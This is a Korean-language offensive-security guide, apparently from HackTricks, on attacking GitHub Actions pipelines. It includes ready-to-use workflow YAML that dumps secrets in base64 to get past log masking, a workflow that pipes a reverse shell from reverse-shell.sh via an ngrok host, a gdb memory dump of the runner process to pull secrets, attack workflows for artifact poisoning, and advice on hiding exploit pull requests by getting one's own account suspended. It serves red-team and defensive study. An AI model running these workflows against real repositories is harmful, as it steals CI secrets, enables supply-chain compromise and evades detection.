Abusing Github Actions

Reading time: 17 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Basic Information

이 페이지에서는 다음을 찾을 수 있습니다:

  • 공격자가 Github Action에 접근하는 데 성공했을 때의 모든 영향 요약
  • 액세스하는 방법:
  • 액션을 생성할 권한을 갖는 것
  • 풀 리퀘스트 관련 트리거 남용
  • 기타 외부 접근 기술 남용
  • 이미 손상된 레포에서 피벗팅
  • 마지막으로, 내부에서 액션을 남용하기 위한 포스트 익스플로잇 기술에 대한 섹션 (언급된 영향을 초래함)

Impacts Summary

Github Actions에 대한 기본 정보를 확인하세요.

저장소 내에서 GitHub Actions에서 임의의 코드를 실행할 수 있다면, 다음을 수행할 수 있습니다:

  • 파이프라인에 장착된 비밀탈취하고, AWS 및 GCP와 같은 외부 플랫폼에 대한 무단 접근을 얻기 위해 파이프라인의 권한을 남용할 수 있습니다.
  • 배포를 손상시키고 다른 아티팩트를 손상시킬 수 있습니다.
  • 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 공급망 공격을 가능하게 할 수 있습니다.
  • 사용자 정의 작업자에서 코드 실행하여 컴퓨팅 파워를 남용하고 다른 시스템으로 피벗할 수 있습니다.
  • GITHUB_TOKEN과 관련된 권한에 따라 레포지토리 코드를 덮어쓸 수 있습니다.

GITHUB_TOKEN

이 "비밀" (${{ secrets.GITHUB_TOKEN }}${{ github.token }}에서 오는)은 관리자가 이 옵션을 활성화할 때 제공됩니다:

이 토큰은 Github Application이 사용할 동일한 것으로, 동일한 엔드포인트에 접근할 수 있습니다: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Github은 레포 간 접근을 허용하는 흐름을 출시해야 하며, 이를 통해 레포가 GITHUB_TOKEN을 사용하여 다른 내부 레포에 접근할 수 있습니다.

이 토큰의 가능한 권한은 다음에서 확인할 수 있습니다: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

토큰은 작업이 완료된 후 만료됩니다.
이 토큰은 다음과 같은 형식입니다: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

이 토큰으로 할 수 있는 몇 가지 흥미로운 작업:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

여러 경우에 Github Actions envs 또는 secrets 안에서 github 사용자 토큰을 찾을 수 있습니다. 이러한 토큰은 리포지토리 및 조직에 대한 더 많은 권한을 부여할 수 있습니다.

Github Action 출력에서 비밀 목록
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
비밀로 리버스 셸 얻기
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

다른 사용자의 리포지토리에서 Github Token에 부여된 권한을 로그를 확인하여 확인할 수 있습니다:

허용된 실행

note

이는 Github actions를 손상시키는 가장 쉬운 방법이 될 수 있습니다. 이 경우는 조직에서 새 리포지토리를 생성할 수 있는 권한이 있거나 리포지토리에 대한 쓰기 권한이 있는 경우를 가정합니다.

이 시나리오에 있다면 Post Exploitation techniques를 확인할 수 있습니다.

리포지토리 생성에서의 실행

조직의 구성원이 새 리포지토리를 생성할 수 있고 Github actions를 실행할 수 있는 경우, 새 리포지토리를 생성하고 조직 수준에서 설정된 비밀을 훔칠 수 있습니다.

새 브랜치에서의 실행

이미 Github Action이 구성된 리포지토리에서 새 브랜치를 생성할 수 있다면, 이를 수정하고, 내용을 업로드한 다음 새 브랜치에서 해당 액션을 실행할 수 있습니다. 이렇게 하면 리포지토리 및 조직 수준의 비밀을 유출할 수 있습니다(하지만 이들이 어떻게 불리는지 알아야 합니다).

수정된 액션을 수동으로 실행 가능하게 만들 수 있습니다. PR이 생성될 때 또는 코드가 푸시될 때(얼마나 눈에 띄고 싶은지에 따라 다름):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

포크된 실행

note

공격자가 다른 리포지토리의 Github Action을 실행할 수 있도록 허용하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 작업이 잘못 구성된 경우, 공격자는 이를 손상시킬 수 있습니다.

pull_request

워크플로우 트리거 **pull_request**는 풀 리퀘스트가 수신될 때마다 워크플로우를 실행합니다. 몇 가지 예외가 있습니다: 기본적으로 첫 번째협업하는 경우, 일부 유지 관리자가 워크플로우의 실행승인해야 합니다.

note

기본 제한첫 번째 기여자에게 적용되므로, 유효한 버그/오타를 수정하여 기여한 후 다른 PR을 보내어 새로운 pull_request 권한을 악용할 수 있습니다.

이것을 테스트했지만 작동하지 않았습니다: 다른 옵션은 프로젝트에 기여한 사람의 이름으로 계정을 만들고 그의 계정을 삭제하는 것입니다.

또한 기본적으로 쓰기 권한비밀 접근을 대상 리포지토리에 제한합니다. 이는 문서에서 언급된 바와 같습니다:

GITHUB_TOKEN을 제외하고, 비밀은 포크된 리포지토리에서 워크플로우가 트리거될 때 러너에 전달되지 않습니다. GITHUB_TOKEN은 포크된 리포지토리의 풀 리퀘스트에서 읽기 전용 권한을 가집니다.

공격자는 Github Action의 정의를 수정하여 임의의 작업을 실행하고 임의의 작업을 추가할 수 있습니다. 그러나 언급된 제한으로 인해 비밀을 훔치거나 리포를 덮어쓸 수는 없습니다.

caution

네, 공격자가 PR에서 트리거될 Github Action을 변경하면, 그의 Github Action이 사용되고 원본 리포의 것이 아닙니다!

공격자가 실행되는 코드를 제어하므로, GITHUB_TOKEN에 비밀이나 쓰기 권한이 없더라도 공격자는 예를 들어 악성 아티팩트를 업로드할 수 있습니다.

pull_request_target

워크플로우 트리거 **pull_request_target**은 대상 리포지토리에 쓰기 권한비밀 접근을 가집니다(권한 요청 없음).

워크플로우 트리거 **pull_request_target**은 PR에서 제공된 것이 아니라 기본 컨텍스트에서 실행됩니다(신뢰할 수 없는 코드를 실행하지 않기 위해). pull_request_target에 대한 자세한 정보는 문서를 확인하세요.
또한, 이 특정 위험한 사용에 대한 자세한 정보는 github 블로그 게시물을 확인하세요.

실행된 워크플로우기본에서 정의된 것이고 PR에서 정의된 것이 아니기 때문에 **pull_request_target**을 사용하는 것이 안전해 보일 수 있지만, 안전하지 않은 몇 가지 경우가 있습니다.

이것은 비밀에 접근할 수 있습니다.

workflow_run

workflow_run 트리거는 다른 워크플로우가 완료, 요청됨 또는 진행 중일 때 워크플로우를 실행할 수 있도록 합니다.

이 예제에서는 별도의 "테스트 실행" 워크플로우가 완료된 후 실행되도록 구성된 워크플로우입니다:

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

또한, 문서에 따르면: workflow_run 이벤트로 시작된 워크플로우는 이전 워크플로우가 아닌 경우에도 비밀을 접근하고 토큰을 쓸 수 있습니다.

이런 종류의 워크플로우는 외부 사용자가 pull_request 또는 pull_request_target을 통해 트리거할 수 있는 워크플로우에 의존하는 경우 공격받을 수 있습니다. 몇 가지 취약한 예시는 이 블로그에서 찾을 수 있습니다. 첫 번째는 **workflow_run**으로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 것입니다: ${{ github.event.pull_request.head.sha }}
두 번째는 신뢰할 수 없는 코드에서 workflow_run 워크플로우로 아티팩트전달하고 이 아티팩트의 내용을 RCE에 취약하게 사용하는 것입니다.

workflow_call

TODO

TODO: pull_request에서 실행될 때 사용/다운로드된 코드가 원본에서 온 것인지 포크된 PR에서 온 것인지 확인

포크된 실행 남용

외부 공격자가 GitHub 워크플로우를 실행하도록 만드는 모든 방법을 언급했으니, 이제 잘못 구성된 경우 이러한 실행이 어떻게 남용될 수 있는지 살펴보겠습니다:

신뢰할 수 없는 체크아웃 실행

**pull_request**의 경우, 워크플로우는 PR의 컨텍스트에서 실행되므로 악의적인 PR 코드를 실행하게 됩니다. 하지만 누군가가 먼저 이를 승인해야 하며, 제한 사항과 함께 실행됩니다.

**pull_request_target 또는 workflow_run**을 사용하는 워크플로우가 **pull_request_target 또는 pull_request**에서 트리거될 수 있는 워크플로우에 의존하는 경우, 원본 레포의 코드가 실행되므로 공격자는 실행된 코드를 제어할 수 없습니다.

caution

그러나 action명시적인 PR 체크아웃이 있어 PR에서 코드를 가져오는 경우(기본에서가 아님), 공격자가 제어하는 코드를 사용할 수 있습니다. 예를 들어 (PR 코드가 다운로드되는 12번째 줄을 확인):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

잠재적으로 신뢰할 수 없는 코드는 npm install 또는 npm build 중에 실행됩니다. 빌드 스크립트와 참조된 패키지는 PR 작성자가 제어합니다.

warning

취약한 액션을 검색하기 위한 GitHub 도크는: event.pull_request pull_request_target extension:yml입니다. 그러나 액션이 불안전하게 구성되더라도 작업을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다 (예: PR을 생성하는 행위자가 누구인지에 대한 조건문 사용).

컨텍스트 스크립트 주입

특정 GitHub 컨텍스트의 값은 PR을 생성하는 사용자에 의해 제어됩니다. GitHub 액션이 이 데이터를 사용하여 무언가를 실행하는 경우, 임의 코드 실행으로 이어질 수 있습니다:

Gh Actions - Context Script Injections

GITHUB_ENV 스크립트 주입

문서에 따르면: 환경 변수를 정의하거나 업데이트하고 이를 GITHUB_ENV 환경 파일에 작성하여 워크플로우 작업의 모든 후속 단계에서 사용할 수 있도록 할 수 있습니다.

공격자가 이 env 변수에 임의의 값을 주입할 수 있다면, 그는 LD_PRELOAD 또는 NODE_OPTIONS와 같은 후속 단계에서 코드를 실행할 수 있는 env 변수를 주입할 수 있습니다.

예를 들어 (), 업로드된 아티팩트를 신뢰하여 그 내용을 GITHUB_ENV env 변수에 저장하는 워크플로우를 상상해 보십시오. 공격자는 이를 손상시키기 위해 다음과 같은 것을 업로드할 수 있습니다:

취약한 서드파티 GitHub 액션

dawidd6/action-download-artifact

이 블로그 게시물에서 언급했듯이, 이 GitHub Action은 다양한 워크플로우 및 심지어 레포지토리에서 아티팩트에 접근할 수 있게 해줍니다.

문제는 path 매개변수가 설정되지 않으면 아티팩트가 현재 디렉토리에 추출되어 나중에 사용되거나 워크플로우에서 실행될 수 있는 파일을 덮어쓸 수 있다는 것입니다. 따라서 아티팩트가 취약하다면, 공격자는 이를 남용하여 아티팩트를 신뢰하는 다른 워크플로우를 손상시킬 수 있습니다.

취약한 워크플로우의 예:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

이 워크플로우로 공격할 수 있습니다:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

기타 외부 접근

삭제된 네임스페이스 리포지토리 하이재킹

계정 이름이 변경되면 다른 사용자가 일정 시간이 지난 후 해당 이름으로 계정을 등록할 수 있습니다. 만약 리포지토리가 이름 변경 이전에 100개 미만의 스타를 가졌다면, Github는 동일한 이름을 가진 새로운 등록 사용자가 삭제된 것과 동일한 이름의 리포지토리를 생성하는 것을 허용합니다.

caution

따라서 액션이 존재하지 않는 계정의 리포지토리를 사용하고 있다면, 공격자가 해당 계정을 생성하고 액션을 손상시킬 수 있는 가능성이 여전히 존재합니다.

다른 리포지토리가 이 사용자 리포지토리의 의존성을 사용하고 있다면, 공격자는 이를 하이재킹할 수 있습니다. 여기에서 더 완전한 설명을 확인할 수 있습니다: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


리포지토리 피벗팅

note

이 섹션에서는 첫 번째 리포지토리에 어떤 형태로든 접근할 수 있다고 가정할 때 한 리포지토리에서 다른 리포지토리로 피벗할 수 있는 기술에 대해 이야기할 것입니다 (이전 섹션을 확인하세요).

캐시 오염

캐시는 동일한 브랜치의 워크플로우 실행 간에 유지됩니다. 즉, 공격자가 패키지손상시키고 이를 캐시에 저장한 후 더 높은 권한의 워크플로우에 의해 다운로드 및 실행되면, 해당 워크플로우도 손상시킬 수 있습니다.

GH Actions - Cache Poisoning

아티팩트 오염

워크플로우는 다른 워크플로우 및 리포지토리의 아티팩트를 사용할 수 있습니다. 공격자가 아티팩트를 업로드하는 Github Action을 손상시키면, 나중에 다른 워크플로우에서 사용되는 아티팩트를 통해 다른 워크플로우를 손상시킬 수 있습니다:

Gh Actions - Artifact Poisoning


액션에서의 포스트 익스플로잇

OIDC를 통한 AWS 및 GCP 접근

다음 페이지를 확인하세요:

AWS - Federation Abuse

GCP - Federation Abuse

비밀 접근

스크립트에 내용을 주입하는 경우 비밀에 접근하는 방법을 아는 것이 흥미롭습니다:

  • 비밀이나 토큰이 환경 변수로 설정되어 있다면, **printenv**를 사용하여 환경을 통해 직접 접근할 수 있습니다.
Github Action 출력에서 비밀 목록
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
비밀을 이용한 리버스 셸 얻기
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • 비밀이 표현식에 직접 사용되면, 생성된 셸 스크립트가 디스크에 저장되고 접근할 수 있습니다.

cat /home/runner/work/_temp/*

- JavaScript 액션의 경우 비밀은 환경 변수를 통해 전송됩니다.
- ```bash
ps axe | grep node
  • 커스텀 액션의 경우, 비밀을 인수에서 얻는 프로그램의 사용 방식에 따라 위험이 달라질 수 있습니다:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

자체 호스팅 러너 악용

비-Github 인프라에서 실행 중인 Github Actions를 찾는 방법은 Github Action 구성 yaml에서 **runs-on: self-hosted**를 검색하는 것입니다.

자체 호스팅 러너는 추가 민감 정보에 접근할 수 있으며, 다른 네트워크 시스템(네트워크의 취약한 엔드포인트? 메타데이터 서비스?)에 접근할 수 있습니다. 또는 격리되고 파괴되더라도 한 번에 여러 액션이 실행될 수 있으며, 악의적인 액션이 다른 액션의 비밀을 훔칠 수 있습니다.

자체 호스팅 러너에서는 _Runner.Listener_** 프로세스에서 비밀을 얻는 것도 가능하며, 이 프로세스는 메모리를 덤프하여 모든 워크플로우의 비밀을 포함합니다:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

다음 게시물에서 더 많은 정보를 확인하세요.

Github Docker 이미지 레지스트리

Github 내에서 Docker 이미지를 빌드하고 저장하는 Github 작업을 만들 수 있습니다.
다음 확장 가능한 예제를 찾을 수 있습니다:

Github Action 빌드 및 Docker 이미지 푸시
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

이전 코드에서 볼 수 있듯이, Github 레지스트리는 **ghcr.io**에 호스팅됩니다.

레포에 대한 읽기 권한이 있는 사용자는 개인 액세스 토큰을 사용하여 Docker 이미지를 다운로드할 수 있습니다:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

그런 다음 사용자는 Docker 이미지 레이어에서 유출된 비밀을 검색할 수 있습니다:

Docker Forensics - HackTricks

Github Actions 로그의 민감한 정보

비록 Github가 액션 로그에서 비밀 값감지하고 표시하지 않으려고 하더라도, 액션 실행 중 생성될 수 있는 다른 민감한 데이터는 숨겨지지 않습니다. 예를 들어, 비밀 값으로 서명된 JWT는 특별히 구성되지 않는 한 숨겨지지 않습니다.

흔적 지우기

(기법은 여기에서) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확하게 표시됩니다. GitHub에서는 기본적으로 인터넷에서 PR을 삭제할 수 없습니다, 하지만 반전이 있습니다. Github에 의해 정지된 GitHub 계정의 경우, 모든 PR이 자동으로 삭제되고 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 GitHub 계정을 정지시키거나 계정에 플래그를 지정해야 합니다. 이렇게 하면 인터넷에서 GitHub의 모든 활동이 숨겨집니다 (기본적으로 모든 익스플로잇 PR이 제거됩니다).

GitHub의 조직은 계정을 GitHub에 보고하는 데 매우 적극적입니다. 당신이 해야 할 일은 Issue에 "몇 가지 자료"를 공유하는 것이며, 그들은 당신의 계정이 12시간 이내에 정지되도록 할 것입니다 :p 그렇게 하면 GitHub에서 당신의 익스플로잇이 보이지 않게 됩니다.

warning

조직이 자신이 표적이 되었음을 알아내는 유일한 방법은 SIEM에서 GitHub 로그를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다.

도구

다음 도구는 Github Action 워크플로를 찾고 심지어 취약한 것을 찾는 데 유용합니다:

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기